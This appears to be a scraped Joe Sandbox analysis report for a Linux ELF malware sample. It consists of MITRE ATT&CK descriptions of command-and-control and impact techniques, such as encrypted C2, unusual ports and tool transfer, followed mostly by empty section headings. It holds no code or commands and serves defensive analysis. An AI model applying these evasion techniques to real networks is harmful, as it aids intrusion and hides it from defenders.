Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report t9lNEiD3ui.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/home/saturnino/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-panel.xml.new

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: t9lNEiD3ui.elf PID: 6203, Parent PID: 6118

General

Chronological Activities

Analysis Process: t9lNEiD3ui.elf PID: 6205, Parent PID: 6203

General

Chronological Activities

Analysis Process: t9lNEiD3ui.elf PID: 6207, Parent PID: 6205

General

Chronological Activities

Analysis Process: t9lNEiD3ui.elf PID: 6208, Parent PID: 6205

General

Linux Analysis Report
t9lNEiD3ui.elf